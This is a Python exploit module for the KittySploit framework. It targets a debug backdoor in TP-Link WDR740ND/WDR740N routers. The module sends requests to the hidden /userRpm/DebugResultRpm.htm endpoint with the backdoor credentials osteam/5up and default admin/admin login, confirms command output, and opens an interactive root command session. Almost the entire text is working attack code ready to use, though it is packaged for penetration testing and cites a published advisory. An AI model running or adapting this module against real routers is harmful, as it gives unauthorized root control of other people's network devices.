TP-Link WDR740ND/WDR740N - Debug Backdoor RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""TP-Link WDR740ND/WDR740N debug backdoor — opens execute session."""

import re
from urllib.parse import quote

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler

_CMD_RESULT_RE = re.compile(r'var cmdResult = new Array\(\n"(.*?)",\n0,0 \);', re.S)


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'TP-Link WDR740ND/WDR740N - Debug Backdoor RCE',
        'description': (
            'Exploits the hidden debug endpoint /userRpm/DebugResultRpm.htm '
            '(osteam/5up backdoor credentials) to run shell commands as root.'
        ),
        'author': ['websec.ca', 'KittySploit Team'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['http://websec.ca/advisories/view/root-shell-tplink-wdr740'],
        'tags': ['tplink', 'router', 'backdoor', 'rce', 'iot'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
        },
    }

    username = OptString('admin', 'HTTP basic auth username', required=False)
    password = OptString('admin', 'HTTP basic auth password', required=False)

    def execute(self, cmd: str) -> str:
        path = f'/userRpm/DebugResultRpm.htm?cmd={quote(str(cmd))}&usr=osteam&passwd=5up'
        response = self.http_request(
            method='GET',
            path=path,
            auth=(str(self.username), str(self.password)),
            allow_redirects=False,
        )
        if not response or response.status_code != 200:
            return ''
        match = _CMD_RESULT_RE.search(response.text or '')
        if not match:
            return ''
        raw = match.group(1).replace('\\r\\n', '\r\n')
        return '\n'.join(raw.split('\n'))

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body):
            return {'vulnerable': True, 'reason': 'Debug backdoor confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'No command output from debug endpoint', 'confidence': 'medium'}

    def check_execute(self) -> bool:
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        print_success('TP-Link debug backdoor confirmed')
        return self.handler_execute()